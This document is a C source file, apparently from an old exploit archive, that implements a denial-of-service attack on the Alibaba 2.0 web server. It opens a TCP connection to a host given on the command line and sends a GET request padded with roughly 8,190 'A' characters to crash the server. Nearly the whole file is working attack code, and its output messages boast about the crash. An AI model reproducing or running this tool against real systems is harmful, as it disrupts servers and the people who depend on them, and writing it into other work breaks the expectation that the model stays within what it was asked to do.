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- /*
-
- Description: DoS against Alibaba 2.0 WebServer by wildcoyote
- Comments : Based on advisorie by Prizm<Prizm@RESENTMENT.org>
- Platforms : Alibaba runs on Win95/98/NT
- Flamez to : wildcoyote@coders-pt.org
-
- */
-
- #include <netdb.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <unistd.h>
- #include <string.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <errno.h>
-
- int
- openhost(char *host,int port) {
- int sock;
- struct sockaddr_in addr;
- struct hostent *he;
-
- he=gethostbyname(host);
-
- if (he==NULL) {
- perror("gethostbyname()");
- exit(-1); }
-
- sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
-
- if (sock==-1) {
- perror("socket()");
- exit(-1); }
-
- memcpy(&addr.sin_addr, he->h_addr, he->h_length);
- addr.sin_family=AF_INET;
- addr.sin_port=htons(port);
-
- if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
- sock=-2; }
-
- return sock;
- }
-
- void
- sends(int sock,char *buf) {
- write(sock,buf,strlen(buf));
- }
-
- void
- DoS(char *host, int port)
- {
- int sock,i;
- char *buf;
- printf("\nDoS against Alibaba 2.0 WebServer by wildcoyote\n\n");
- printf("Trying to connect to %s (%d)....(please wait)\n",host,port);
- sock=openhost(host,port);
- if(sock<=0) {
- printf("- Could not connect -\n");
- printf("Exiting...\n\n");
- exit(-1);
- }
- else printf("Connected to %s (%d)\n",host,port);
- printf("Allocating memory for DoS\n");
- buf = (char *) malloc(8200); // it takes 8173 bytes, but i wave mem ;)
- strcpy(buf,"GET ");
- for(i=5;i<8198;i++) strcat(buf,"A");
- strcat(buf,"\n\n");
- printf("Oh k! Sending CRASH!\n");
- sends(sock,buf);
- close(sock);
- free(buf);
- printf("Crash sent! The host *probably* crashed :P\n");
- printf("Send flamez to wildcoyote@coders-pt.org, *Enjoy*...\n\n");
- }
-
- main(int argc, char *argv[])
- {
- int sock,i;
- if (argc<2) {
- printf("\nDoS against Alibaba 2.0 WebServer by wildcoyote\n\n");
- printf("Sintaxe: %s <host> [port - default 80]\n",argv[0]);
- printf("Send flamez to wildcoyote@coders-pt.org, *Enjoy*...\n\n");
- }
- else if (argc==2) DoS(argv[1],80);
- else DoS(argv[1],atoi(argv[2]));
- }
-